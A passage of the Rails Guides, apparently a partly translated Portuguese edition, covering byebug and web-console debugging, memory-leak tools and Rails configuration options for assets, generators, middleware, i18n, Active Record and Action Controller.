- edit [file: n]: edita o arquivo chamado file usando o editor especificado pelo variável de ambiente EDITOR. Uma linha específica n também pode ser fornecida.

3.11 Sair

Para sair do debugger, use o comando quit (abreviado para q). Ou digite q! para ignorar a mensagem Really quit? (y/n) e sai incondicionalmente.

Uma saída simples tenta finalizar todos as threads em vigor. Portanto, seu servidor será parado e você precisará iniciá-lo novamente.

3.12 Configurações

O byebug possui algumas opções disponíveis para ajustar seu comportamento:

(byebug) help set

set <setting> <value>

Modifies byebug settings

Boolean values take "on", "off", "true", "false", "1" or "0". If you
don't specify a value, the boolean setting will be enabled. Conversely,
you can use "set no<setting>" to disable them.

You can see these environment settings with the "show" command.

List of supported settings:

autosave       -- Automatically save command history record on exit
autolist       -- Invoke list command on every stop
width          -- Number of characters per line in byebug's output
autoirb        -- Invoke IRB on every stop
basename       -- <file>:<line> information after every stop uses short paths
linetrace      -- Enable line execution tracing
autopry        -- Invoke Pry on every stop
stack_on_error -- Display stack trace when `eval` raises an exception
fullpath       -- Display full file names in backtraces
histfile       -- File where cmd history is saved to. Default: ./.byebug_history
listsize       -- Set number of source lines to list by default
post_mortem    -- Enable/disable post-mortem mode
callstyle      -- Set how you want method call parameters to be displayed
histsize       -- Maximum number of commands that can be stored in byebug history
savefile       -- File where settings are saved to. Default: ~/.byebug_save

(byebug) help set set <setting> <value> Modifies byebug settings Boolean values take "on", "off", "true", "false", "1" or "0". If you don't specify a value, the boolean setting will be enabled. Conversely, you can use "set no<setting>" to disable them. You can see these environment settings with the "show" command. List of supported settings: autosave -- Automatically save command history record on exit autolist -- Invoke list command on every stop width -- Number of characters per line in byebug's output autoirb -- Invoke IRB on every stop basename -- <file>:<line> information after every stop uses short paths linetrace -- Enable line execution tracing autopry -- Invoke Pry on every stop stack_on_error -- Display stack trace when `eval` raises an exception fullpath -- Display full file names in backtraces histfile -- File where cmd history is saved to. Default: ./.byebug_history listsize -- Set number of source lines to list by default post_mortem -- Enable/disable post-mortem mode callstyle -- Set how you want method call parameters to be displayed histsize -- Maximum number of commands that can be stored in byebug history savefile -- File where settings are saved to. Default: ~/.byebug_save Copiar

You can save these settings in an .byebugrc file in your home directory. The debugger reads these global settings when it starts. For example:

set callstyle short
set listsize 25

set callstyle short set listsize 25 Copiar

4 Debugging with the web-console gem

Web Console is a bit like byebug, but it runs in the browser. In any page you are developing, you can request a console in the context of a view or a controller. The console would be rendered next to your HTML content.

4.1 Console

Inside any controller action or view, you can invoke the console by calling the console method.

For example, in a controller:

class PostsController < ApplicationController
def new
console
@post = Post.new
end
end

class PostsController < ApplicationController def new console @post = Post.new end end Copiar

Or in a view:

<% console %>

<h2>New Post</h2>

<% console %> <h2>New Post</h2> Copiar

This will render a console inside your view. You don't need to care about the location of the console call; it won't be rendered on the spot of its invocation but next to your HTML content.

The console executes pure Ruby code: You can define and instantiate custom classes, create new models, and inspect variables.

Only one console can be rendered per request. Otherwise web-console will raise an error on the second console invocation.

4.2 Inspecting Variables

You can invoke instance_variables to list all the instance variables available in your context. If you want to list all the local variables, you can do that with local_variables.

4.3 Settings

- config.web_console.allowed_ips: Authorized list of IPv4 or IPv6 addresses and networks (defaults: 127.0.0.1/8, ::1).

- config.web_console.whiny_requests: Log a message when a console rendering is prevented (defaults: true).

Since web-console evaluates plain Ruby code remotely on the server, don't try to use it in production.

5 Debugging Memory Leaks

A Ruby application (on Rails or not), can leak memory — either in the Ruby code or at the C code level.

In this section, you will learn how to find and fix such leaks by using tools such as Valgrind.

5.1 Valgrind

Valgrind is an application for detecting C-based memory leaks and race conditions.

There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, if a C extension in the interpreter calls malloc() but doesn't properly call free(), this memory won't be available until the app terminates.

For further information on how to install Valgrind and use with Ruby, refer to Valgrind and Ruby by Evan Weaver.

5.2 Find a Memory Leak

There is an excellent article about detecting and fixing memory leaks at Derailed, which you can read here.

6 Plugins for Debugging

There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:

- Query Trace Adds query origin tracing to your logs.

- Exception Notifier Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.

- Better Errors Replaces the standard Rails error page with a new one containing more contextual information, like source code and variable inspection.

- RailsPanel Chrome extension for Rails development that will end your tailing of development.log. Have all information about your Rails app requests in the browser — in the Developer Tools panel. Provides insight to db/rendering/total times, parameter list, rendered views and more.

- Pry An IRB alternative and runtime developer console.

7 References

- byebug Homepage

- web-console Homepage

Configurando Aplicações Rails — Ruby...

1 Locais para Código de Inicialização

O Rails oferece quatro opções padrão para adicionar código para a inicialização:

- config/application.rb

- Arquivos de configuração específicos para os ambientes

- Initializers

- Pós initializers

2 Executando Código Antes do Rails

Em raras situações em que sua aplicação necessita executar código antes que o próprio Rails tenha sido carregado, coloque este código acima da chamada require "rails/all" no arquivo config/application.rb.

3 Configurando Componentes Rails

Em geral, o ato de configurar o Rails significa configurar os componentes do Rails, assim como configurar o Rails em si. O arquivo de configuração config/application.rb e arquivos de configuração específicos de ambiente (como o arquivo config/environments/production.rb) permitem definir diversas configurações que serão passadas para todos os componentes.

Por exemplo, você pode adicionar a configuração abaixo ao arquivo config/application.rb:

config.time_zone = 'Brasilia'

config.time_zone = 'Brasilia' Copiar

Essa é uma configuração para o próprio Rails. Se você deseja definir ajustes para componentes do Rails, você pode fazê-lo através do mesmo objeto config em config/application.rb:

config.active_record.schema_format = :ruby

config.active_record.schema_format = :ruby Copiar

O Rails vai usar essa configuração em particular no Active Record.

3.1 Configuração Geral do Rails

Esses métodos de configuração devem ser enviados para objetos do tipo Rails::Railtie, como uma subclasse de Rails::Engine ou Rails::Application.

- config.after_initialize recebe um bloco que será executado após a inicialização da aplicação Rails. Isso inclui a inicialização do framework em si, engines e todos initializers definidos em config/initializers. Perceba que esse bloco será executado em tarefas rake. Essa opção é útil para configurações feitas por outros initializers:

config.after_initialize do
ActionView::Base.sanitized_allowed_tags.delete 'div'
end

config.after_initialize do ActionView::Base.sanitized_allowed_tags.delete 'div' end Copiar

- config.asset_host define o host para os assets. Essa opção é útil quando CDNs são usados para hospedar assets, ou para quando você deseja contornar restrições de concorrência embutidas em navegadores usando diferentes aliases de domínios. Essa é uma versão encurtada de config.action_controller.asset_host.

- config.autoload_once_paths aceita um array de caminhos de onde o Rails deve carregar automaticamente constantes que não serão removidas por uma requisição. Essa configuração é relevante se config.cache_classes está definido como false, que é o padrão no modo de desenvolvimento. De outra forma, todo auto carregamento acontece somente uma vez. Todos elementos desse array devem estar também em autoload_paths. O valor padrão é um array vazio.

- config.autoload_paths aceita um array de caminhos de onde o Rails deve carregar automaticamente constantes. O padrão é um array vazio. Desde o Rails 6, não é mais recomendado ajustar essa configuração. Veja mais em Auto carregamento e Recarregando Constantes

- config.add_autoload_paths_to_load_path determina se os caminhos de auto carregamento devem ser adicionados para $LOAD_PATH. Esta configuração é true por padrão, mas é recomendado que seja definida como false no recém lançado modo :zeitwerk, em config/application.rb. O modo Zeitwerk usa caminhos absolutos internamente e aplicações executadas neste modo não necessitam de require_dependency, então models, controllers, jobs, etc não precisam estar no $LOAD_PATH. Ao ser definido como false, previne o Ruby de verificar estes diretórios quando resolver chamadas de require com caminhos relativos e reduz o processamento e o consumo de memória RAM do Bootsnap, já que ele não precisa construir um índice para eles.

- config.cache_classes controla quando as classes e módulos da aplicação devem ser recarregados em caso de mudanças. O padrão é false no modo desenvolvimento e true no modo de produção. No modo de test, o padrão é false se o Spring estiver instalado, caso contrário é true.

- config.beginning_of_week configura o começo da semana para a aplicação. O valor deve ser um symbol com um dia da semana válido (por ex: :monday).

- config.cache_store configura qual armazenamento de cache o Rails deve utilizar. As opções incluem um dos symbols: :memory_store, :file_store, :mem_cache_store, :null_store, :redis_cache_store, ou um objeto que implementa a API de cache. O padrão é :file_store. Veja Cache Stores para opções de configuração por store.

- config.colorize_logging determina quando utilizar ou não códigos de cores ANSI ao registrar informações no log. O padrão é true.

- config.consider_all_requests_local quando true adiciona informações detalhadas de debug de erros à resposta HTTP, e o controller Rails::Info irá exibir o contexto de execução da aplicação em /rails/info/properties. true é o padrão nos ambientes de desenvolvimento e teste e false é o padrão no modo de produção. Para um controle mais refinado, defina como false e implemente o método show_detailed_exceptions? em seus controllers para especificar que requisições devem prover informações de debug em erros.

- config.console permite que você defina qual classe deve ser usada quando executar bin/rails console. É melhor que seja executada dentre de um bloco console:

console do
# este bloco só é chamado quando o console estiver executando,
# então podemos requerer o pry de forma segura
require "pry"
config.console = Pry
end

console do # este bloco só é chamado quando o console estiver executando, # então podemos requerer o pry de forma segura require "pry" config.console = Pry end Copiar

- config.disable_sandbox controla se o console pode ser iniciado ou não no modo sandbox. Esta configuração é útil para evitar sessões muito longas de console em modo sandbox, o que poderia levar o servidor de banco de dados a ficar sem memória. O padrão é false.

- config.eager_load quando true, todos namespaces definidos em config.eager_load_namespaces são carregados de forma ativa (eager load). Isto inclui a sua aplicação, engines, frameworks do Rails e qualquer outra namespace definida.

- config.eager_load_namespaces define todas namespaces que serão carregadas ativamente (eager load) quando config.eager_load estiver definido como true. Todas namespaces na lista devem responder ao método eager_load!.

- config.eager_load_paths recebe um array de caminhos de onde o Rails deve carregar ativamente durante a inicialização se o cache de classes está ativo. O padrão são todas as pastas dentro do diretório app.

- config.enable_dependency_loading: quando definido como true, habilita o autocarregamento mesmo que a aplicação esteja carregada ativamente (eager load) e que config.cache_classes esteja definido como true. O padrão é false

- config.encoding define o encoding para toda a aplicação. O padrão é UTF-8.

- config.exceptions_app define a aplicação invocada pelo middleware ShowException quando uma exceção acontece. O padrão é ActionDispatch::PublicExceptions.new(Rails.public_path).

- config.debug_exception_response_format define o formato usado nas respostas quando errors acontecem em modo desenvolvimento. O padrão é :api para aplicações somente API e :default para aplicações regulares.

- config.file_watcher é a classe usada para detectar atualizações nos arquivos quando config.reload_classes_only_on_change está definido como true. Rails é distribuído com a classe ActiveSupport::FileUpdateChecker, que é o padrão, e com ActiveSupport::EventedFileUpdateChecker (que depende da gem listen). Classes customizadas devem respeitar a API de ActiveSupport::FileUpdateChecker.

- config.filter_parameters é usado para filtrar os parâmetros que você não deseja exibir nos logs, tais como senhas ou números de cartões de crédito. Essa configuração também filtra valores sensíveis de colunas de bancos de dados quando o método #inspect é enviado a um objeto de Active Record. Por padrão o Rails filtra senhas ao adicionar Rails.application.config.filter_parameters += [:password] em config/initializers/filter_parameter_logging.rb. O filtro de parâmetros funciona através da equivalência parcial de expressões regulares.

- config.force_ssl impõe que todas requisições sejam tratadas através de HTTPS e define "https://" como protocolo padrão para gerar URLs. Execução de HTTPS é manipulada pelo middleware ActionDispatch::SSL, que pode ser configurado através de config.ssl_options - veja a documentação para mais detalhes.

- config.javascript_path define o caminho onde o JavaScript da sua aplicação reside em relação ao diretório app. O padrão é javascript, usado pelo webpacker. O javascript_path configurado de uma aplicação será excluído de autoload_paths.

- config.log_formatter define o formatador do logger do Rails. O valor padrão é uma instância de ActiveSupport::Logger::SimpleFormatter para todos os ambientes. Se você definir um valor para config.logger você deve enviar o valor do seu formatador manualmente, antes que ele seja acondicionado em uma instância de ActiveSupport::TaggedLogging, o Rails não fará isso por você.

- config.log_level define a verbosidade do logger do Rails. O padrão dessa opção é :debug para todos ambientes exceto produção, onde o padrão é :info. Os níveis disponíveis são :debug, :info, :warn, :error, :fatal, e :unknown.

- config.log_tags aceita uma lista de: mmétodos que o objeto request responde, uma Proc que aceita um objeto de request, ou algo que responda ao método to_s. Isto torna fácil adicionar linhas ao log com informações sobre o debug, como subdomínios e ids de requisições - ambos muito úteis para debugar aplicações multi-usuário em produção.

- config.logger é o logger que será usado pelo Rails.logger e qualquer outro log relacionado ao Rails, tal como ActiveRecord::Base.logger. O padrão é uma instância de ActiveSupport::TaggedLogging que envolve uma instância de ActiveSupport::Logger, que registra a saída do log no diretório log/. Você pode informar um logger personalizado mas para obter compatibilidade total você deve seguir esses requisitos:

- Para suportar um formatador, você deve atribuir manualmente o formatador definido em config.log_formatter para o logger.

- Para suportar logs com etiquetaas (tags), a instância do log deve ser envolvida com ActiveSupport::TaggedLogging

- Para suportar o silenciamento, o logger deve incluir o módulo ActiveSupport::LoggerSilence. A classe ActiveSupport::Logger já inclui esse módulo.

class MyLogger < ::Logger
include ActiveSupport::LoggerSilence
end

mylogger           = MyLogger.new(STDOUT)
mylogger.formatter = config.log_formatter
config.logger      = ActiveSupport::TaggedLogging.new(mylogger)

class MyLogger < ::Logger include ActiveSupport::LoggerSilence end mylogger = MyLogger.new(STDOUT) mylogger.formatter = config.log_formatter config.logger = ActiveSupport::TaggedLogging.new(mylogger) Copiar

- config.middleware permite configurar o middleware da aplicação. Esse tópico é coberto em detalhes em Configurando o Middleware.

- config.rake_eager_load quandotrue, carrega antecipadamente a aplicação ao executar tarefas Rake. O padrão é false.

- config.reload_classes_only_on_change habilita ou desabilita a recarga de classes somente quando arquivos monitorados são modificados. Por padrão são monitorados todos caminhos de auto carregamento (autoload). Se config.cache_classes está definido como true essa opção é ignorada.

- config.credentials.content_path configura o caminho para busca por credenciais criptografadas.

- config.credentials.key_path configura o caminho para busca por chaves de criptografia.

- secret_key_base é usado para especificar uma chave que permite que sessões da aplicação sejam verificadas contra uma chave segura conhecida prevenindo falsificações (tampering). Aplicações recebem uma chave gerada aleatoriamente nos ambientes de desenvolvimento e teste, outros ambientes devem definir uma chave em config/credentials.yml.enc.

- config.public_file_server.enabled configura o Rails para servir arquivos estáticos a partir do diretório public. O padrão é true, mas no ambiente de produção é definido como false porque o software servidor (como NGINX ou Apache) usado para executar a aplicação deve servir os arquivos estáticos. Se você esta executando ou testando sua aplicação em produção usando WEBrick (não é recomendado usar WEBrick em produção) defina a opção como true. De outra forma, você não será capaz de usar o cacheamento de páginas e requisições para arquivos que existam no diretório public.

- config.session_store define que classe usar para armazenar a sessão. Os valores possíveis são :cookie_store, que é o padrão, :mem_cache_store e :disabled. O último indica que o Rails não deve tratar de sessões. O padrão armazena cookies com o nome da aplicação como a chave da sessão. Armazenadores personalizados de sessão também podem ser definidos:

config.session_store :my_custom_store

config.session_store :my_custom_store Copiar
Esse armazenador personalizado deve ser definido como ActionDispatch::Session::MyCustomStore.

- config.time_zone define o fuso horário para a aplicação e torna o Active Record ciente deste fuso horário.

- config.autoloader configura o modo de autocarregamento. O padrão é :zeitwerk se em config.load_defaults o valor for 6.0 ou maior. Aplicações ainda podem usar o autocarregador clássico ao definir o valor dessa configuração como :classic após carregar os valores padrões do framework:

config.load_defaults 6.0
config.autoloader = :classic

config.load_defaults 6.0 config.autoloader = :classic Copiar

3.2 Configuring Assets

- config.assets.enabled a flag that controls whether the asset pipeline is enabled. It is set to true by default.

- config.assets.css_compressor defines the CSS compressor to use. It is set by default by sass-rails. The unique alternative value at the moment is :yui, which uses the yui-compressor gem.

- config.assets.js_compressor defines the JavaScript compressor to use. Possible values are :closure, :uglifier and :yui which require the use of the closure-compiler, uglifier or yui-compressor gems respectively.

- config.assets.gzip a flag that enables the creation of gzipped version of compiled assets, along with non-gzipped assets. Set to true by default.

- config.assets.paths contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.

- config.assets.precompile allows you to specify additional assets (other than application.css and application.js) which are to be precompiled when rake assets:precompile is run.

- config.assets.unknown_asset_fallback allows you to modify the behavior of the asset pipeline when an asset is not in the pipeline, if you use sprockets-rails 3.2.0 or newer. Defaults to false.

- config.assets.prefix defines the prefix where assets are served from. Defaults to /assets.

- config.assets.manifest defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named manifest-<random>.json in the config.assets.prefix directory within the public folder.

- config.assets.digest enables the use of SHA256 fingerprints in asset names. Set to true by default.

- config.assets.debug disables the concatenation and compression of assets. Set to true by default in development.rb.

- config.assets.version is an option string that is used in SHA256 hash generation. This can be changed to force all files to be recompiled.

- config.assets.compile is a boolean that can be used to turn on live Sprockets compilation in production.

- config.assets.logger accepts a logger conforming to the interface of Log4r or the default Ruby Logger class. Defaults to the same configured at config.logger. Setting config.assets.logger to false will turn off served assets logging.

- config.assets.quiet disables logging of assets requests. Set to true by default in development.rb.

3.3 Configuring Generators

Rails allows you to alter what generators are used with the config.generators method. This method takes a block:

config.generators do |g|
g.orm :active_record
g.test_framework :test_unit
end

config.generators do |g| g.orm :active_record g.test_framework :test_unit end Copiar

The full set of methods that can be used in this block are as follows:

- assets allows to create assets on generating a scaffold. Defaults to true.

- force_plural allows pluralized model names. Defaults to false.

- helper defines whether or not to generate helpers. Defaults to true.

- integration_tool defines which integration tool to use to generate integration tests. Defaults to :test_unit.

- system_tests defines which integration tool to use to generate system tests. Defaults to :test_unit.

- orm defines which orm to use. Defaults to false and will use Active Record by default.

- resource_controller defines which generator to use for generating a controller when using bin/rails generate resource. Defaults to :controller.

- resource_route defines whether a resource route definition should be generated or not. Defaults to true.

- scaffold_controller different from resource_controller, defines which generator to use for generating a scaffolded controller when using bin/rails generate scaffold. Defaults to :scaffold_controller.

- stylesheets turns on the hook for stylesheets in generators. Used in Rails for when the scaffold generator is run, but this hook can be used in other generates as well. Defaults to true.

- stylesheet_engine configures the stylesheet engine (for e.g. sass) to be used when generating assets. Defaults to :css.

- scaffold_stylesheet creates scaffold.css when generating a scaffolded resource. Defaults to true.

- test_framework defines which test framework to use. Defaults to false and will use minitest by default.

- template_engine defines which template engine to use, such as ERB or Haml. Defaults to :erb.

3.4 Configuring Middleware

Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:

- ActionDispatch::HostAuthorization prevents against DNS rebinding and other Host header attacks. It is included in the development environment by default with the following configuration:

Rails.application.config.hosts = [
IPAddr.new("0.0.0.0/0"), # All IPv4 addresses.
IPAddr.new("::/0"),      # All IPv6 addresses.
"localhost"              # The localhost reserved domain.
]

Rails.application.config.hosts = [ IPAddr.new("0.0.0.0/0"), # All IPv4 addresses. IPAddr.new("::/0"), # All IPv6 addresses. "localhost" # The localhost reserved domain. ] Copiar
In other environments Rails.application.config.hosts is empty and no Host header checks will be done. If you want to guard against header attacks on production, you have to manually permit the allowed hosts with:

Rails.application.config.hosts << "product.com"

Rails.application.config.hosts << "product.com" Copiar
The host of a request is checked against the hosts entries with the case operator (#===), which lets hosts support entries of type Regexp, Proc and IPAddr to name a few. Here is an example with a regexp.

# Allow requests from subdomains like `www.product.com` and
# `beta1.product.com`.
Rails.application.config.hosts << /.*\.product\.com/

# Allow requests from subdomains like `www.product.com` and # `beta1.product.com`. Rails.application.config.hosts << /.*\.product\.com/ Copiar
The provided regexp will be wrapped with both anchors (\A and \z) so it must match the entire hostname. /product.com/, for example, once anchored, would fail to match www.product.com. A special case is supported that allows you to permit all sub-domains:

# Allow requests from subdomains like `www.product.com` and
# `beta1.product.com`.
Rails.application.config.hosts << ".product.com"

# Allow requests from subdomains like `www.product.com` and # `beta1.product.com`. Rails.application.config.hosts << ".product.com" Copiar

- ActionDispatch::SSL forces every request to be served using HTTPS. Enabled if config.force_ssl is set to true. Options passed to this can be configured by setting config.ssl_options.

- ActionDispatch::Static is used to serve static assets. Disabled if config.public_file_server.enabled is false. Set config.public_file_server.index_name if you need to serve a static directory index file that is not named index. For example, to serve main.html instead of index.html for directory requests, set config.public_file_server.index_name to "main".

- ActionDispatch::Executor allows thread safe code reloading. Disabled if config.allow_concurrency is false, which causes Rack::Lock to be loaded. Rack::Lock wraps the app in mutex so it can only be called by a single thread at a time.

- ActiveSupport::Cache::Strategy::LocalCache serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.

- Rack::Runtime sets an X-Runtime header, containing the time (in seconds) taken to execute the request.

- Rails::Rack::Logger notifies the logs that the request has begun. After request is complete, flushes all the logs.

- ActionDispatch::ShowExceptions rescues any exception returned by the application and renders nice exception pages if the request is local or if config.consider_all_requests_local is set to true. If config.action_dispatch.show_exceptions is set to false, exceptions will be raised regardless.

- ActionDispatch::RequestId makes a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#uuid method. Configurable with config.action_dispatch.request_id_header.

- ActionDispatch::RemoteIp checks for IP spoofing attacks and gets valid client_ip from request headers. Configurable with the config.action_dispatch.ip_spoofing_check, and config.action_dispatch.trusted_proxies options.

- Rack::Sendfile intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with config.action_dispatch.x_sendfile_header.

- ActionDispatch::Callbacks runs the prepare callbacks before serving the request.

- ActionDispatch::Cookies sets cookies for the request.

- ActionDispatch::Session::CookieStore is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the config.action_controller.session_store to an alternate value. Additionally, options passed to this can be configured by using config.action_controller.session_options.

- ActionDispatch::Flash sets up the flash keys. Only available if config.action_controller.session_store is set to a value.

- Rack::MethodOverride allows the method to be overridden if params[:_method] is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.

- Rack::Head converts HEAD requests to GET requests and serves them as so.

Besides these usual middleware, you can add your own by using the config.middleware.use method:

config.middleware.use Magical::Unicorns

config.middleware.use Magical::Unicorns Copiar

This will put the Magical::Unicorns middleware on the end of the stack. You can use insert_before if you wish to add a middleware before another.

config.middleware.insert_before Rack::Head, Magical::Unicorns

config.middleware.insert_before Rack::Head, Magical::Unicorns Copiar

Or you can insert a middleware to exact position by using indexes. For example, if you want to insert Magical::Unicorns middleware on top of the stack, you can do it, like so:

config.middleware.insert_before 0, Magical::Unicorns

config.middleware.insert_before 0, Magical::Unicorns Copiar

There's also insert_after which will insert a middleware after another:

config.middleware.insert_after Rack::Head, Magical::Unicorns

config.middleware.insert_after Rack::Head, Magical::Unicorns Copiar

Middlewares can also be completely swapped out and replaced with others:

config.middleware.swap ActionController::Failsafe, Lifo::Failsafe

config.middleware.swap ActionController::Failsafe, Lifo::Failsafe Copiar

Middlewares can be moved from one place to another:

config.middleware.move_before ActionDispatch::Flash, Magical::Unicorns

config.middleware.move_before ActionDispatch::Flash, Magical::Unicorns Copiar

This will move the Magical::Unicorns middleware before ActionDispatch::Flash. You can also move it after:

config.middleware.move_after ActionDispatch::Flash, Magical::Unicorns

config.middleware.move_after ActionDispatch::Flash, Magical::Unicorns Copiar

They can also be removed from the stack completely:

config.middleware.delete Rack::MethodOverride

config.middleware.delete Rack::MethodOverride Copiar

3.5 Configuring i18n

All these configuration options are delegated to the I18n library.

- config.i18n.available_locales defines the permitted available locales for the app. Defaults to all locale keys found in locale files, usually only :en on a new application.

- config.i18n.default_locale sets the default locale of an application used for i18n. Defaults to :en.

- config.i18n.enforce_available_locales ensures that all locales passed through i18n must be declared in the available_locales list, raising an I18n::InvalidLocale exception when setting an unavailable locale. Defaults to true. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.

- config.i18n.load_path sets the path Rails uses to look for locale files. Defaults to config/locales/*.{yml,rb}.

- config.i18n.raise_on_missing_translations determines whether an error should be raised for missing translations in controllers and views. This defaults to false.

- config.i18n.fallbacks sets fallback behavior for missing translations. Here are 3 usage examples for this option:

- You can set the option to true for using default locale as fallback, like so:

config.i18n.fallbacks = true

config.i18n.fallbacks = true Copiar

- Or you can set an array of locales as fallback, like so:

config.i18n.fallbacks = [:tr, :en]

config.i18n.fallbacks = [:tr, :en] Copiar

- Or you can set different fallbacks for locales individually. For example, if you want to use :tr for :az and :de, :en for :da as fallbacks, you can do it, like so:

config.i18n.fallbacks = { az: :tr, da: [:de, :en] }
#or
config.i18n.fallbacks.map = { az: :tr, da: [:de, :en] }

config.i18n.fallbacks = { az: :tr, da: [:de, :en] } #or config.i18n.fallbacks.map = { az: :tr, da: [:de, :en] } Copiar

3.6 Configuring Active Model

- config.active_model.i18n_customize_full_message is a boolean value which controls whether the full_message error format can be overridden at the attribute or model level in the locale files. This is false by default.

3.7 Configuring Active Record

config.active_record includes a variety of configuration options:

- config.active_record.logger accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling logger on either an Active Record model class or an Active Record model instance. Set to nil to disable logging.

- config.active_record.primary_key_prefix_type lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named id (and this configuration option doesn't need to be set). There are two other choices:

- :table_name would make the primary key for the Customer class customerid.

- :table_name_with_underscore would make the primary key for the Customer class customer_id.

- config.active_record.table_name_prefix lets you set a global string to be prepended to table names. If you set this to northwest_, then the Customer class will look for northwest_customers as its table. The default is an empty string.

- config.active_record.table_name_suffix lets you set a global string to be appended to table names. If you set this to _northwest, then the Customer class will look for customers_northwest as its table. The default is an empty string.

- config.active_record.schema_migrations_table_name lets you set a string to be used as the name of the schema migrations table.

- config.active_record.internal_metadata_table_name lets you set a string to be used as the name of the internal metadata table.

- config.active_record.protected_environments lets you set an array of names of environments where destructive actions should be prohibited.

- config.active_record.pluralize_table_names specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the customers table. If set to false, then the Customer class will use the customer table.

- config.active_record.default_timezone determines whether to use Time.local (if set to :local) or Time.utc (if set to :utc) when pulling dates and times from the database. The default is :utc.

- config.active_record.schema_format controls the format for dumping the database schema to a file. The options are :ruby (the default) for a database-independent version that depends on migrations, or :sql for a set of (potentially database-dependent) SQL statements.

- config.active_record.error_on_ignored_order specifies if an error should be raised if the order of a query is ignored during a batch query. The options are true (raise error) or false (warn). Default is false.

- config.active_record.timestamped_migrations controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.

- config.active_record.lock_optimistically controls whether Active Record will use optimistic locking and is true by default.

- config.active_record.cache_timestamp_format controls the format of the timestamp value in the cache key. Default is :usec.

- config.active_record.record_timestamps is a boolean value which controls whether or not timestamping of create and update operations on a model occur. The default value is true.

- config.active_record.partial_writes is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking config.active_record.lock_optimistically since concurrent updates may write attributes based on a possibly stale read state. The default value is true.

- config.active_record.maintain_test_schema is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with db/schema.rb (or db/structure.sql) when you run your tests. The default is true.

- config.active_record.dump_schema_after_migration is a flag which controls whether or not schema dump should happen (db/schema.rb or db/structure.sql) when you run migrations. This is set to false in config/environments/production.rb which is generated by Rails. The default value is true if this configuration is not set.

- config.active_record.dump_schemas controls which database schemas will be dumped when calling db:schema:dump. The options are :schema_search_path (the default) which dumps any schemas listed in schema_search_path, :all which always dumps all schemas regardless of the schema_search_path, or a string of comma separated schemas.

- config.active_record.belongs_to_required_by_default is a boolean value and controls whether a record fails validation if belongs_to association is not present.

- config.active_record.action_on_strict_loading_violation enables raising or logging an exception if strict_loading is set on an association. The default value is :raise in all environments. It can be changed to :log to send violations to the logger instead of raising.

- config.active_record.strict_loading_by_default is a boolean value that either enables or disables strict_loading mode by default. Defaults to false.

- config.active_record.warn_on_records_fetched_greater_than allows setting a warning threshold for query result size. If the number of records returned by a query exceeds the threshold, a warning is logged. This can be used to identify queries which might be causing a memory bloat.

- config.active_record.index_nested_attribute_errors allows errors for nested has_many relationships to be displayed with an index as well as the error. Defaults to false.

- config.active_record.use_schema_cache_dump enables users to get schema cache information from db/schema_cache.yml (generated by bin/rails db:schema:cache:dump), instead of having to send a query to the database to get this information. Defaults to true.

- config.active_record.cache_versioning indicates whether to use a stable #cache_key method that is accompanied by a changing version in the #cache_version method.

- config.active_record.collection_cache_versioning enables the same cache key to be reused when the object being cached of type ActiveRecord::Relation changes by moving the volatile information (max updated at and count) of the relation's cache key into the cache version to support recycling cache key.

- config.active_record.has_many_inversing enables setting the inverse record when traversing belongs_to to has_many associations.

- config.active_record.legacy_connection_handling allows to enable new connection handling API. For applications using multiple databases, this new API provides support for granular connection swapping.

- config.active_record.destroy_association_async_job allows specifying the job that will be used to destroy the associated records in background. It defaults to ActiveRecord::DestroyAssociationAsyncJob.

- config.active_record.queues.destroy allows specifying the Active Job queue to use for destroy jobs. When this option is nil, purge jobs are sent to the default Active Job queue (see config.active_job.default_queue_name). It defaults to nil.

The MySQL adapter adds one additional configuration option:

- ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans controls whether Active Record will consider all tinyint(1) columns as booleans. Defaults to true.

The PostgreSQL adapter adds one additional configuration option:

- ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables controls whether database tables created should be "unlogged," which can speed up performance but adds a risk of data loss if the database crashes. It is highly recommended that you do not enable this in a production environment. Defaults to false in all environments.

The schema dumper adds two additional configuration options:

- ActiveRecord::SchemaDumper.ignore_tables accepts an array of tables that should not be included in any generated schema file.

- ActiveRecord::SchemaDumper.fk_ignore_pattern allows setting a different regular expression that will be used to decide whether a foreign key's name should be dumped to db/schema.rb or not. By default, foreign key names starting with fk_rails_ are not exported to the database schema dump. Defaults to /^fk_rails_[0-9a-f]{10}$/.

3.8 Configuring Action Controller

config.action_controller includes a number of configuration settings:

- config.action_controller.asset_host sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. You should only use this if you have a different configuration for Action Mailer, otherwise use config.asset_host.

- config.action_controller.perform_caching configures whether the application should perform the caching features provided by the Action Controller component or not. Set to false in the development environment, true in production. If it's not specified, the default will be true.

- config.action_controller.default_static_extension configures the extension used for cached pages. Defaults to .html.

- config.action_controller.include_all_helpers configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to false, UsersHelper methods are only available for views rendered as part of UsersController. If true, UsersHelper methods are available everywhere. The default configuration behavior (when this option is not explicitly set to true or false) is that all view helpers are available to each controller.

- config.action_controller.logger accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.

- config.action_controller.request_forgery_protection_token sets the token parameter name for RequestForgery. Calling protect_from_forgery sets it to :authenticity_token by default.

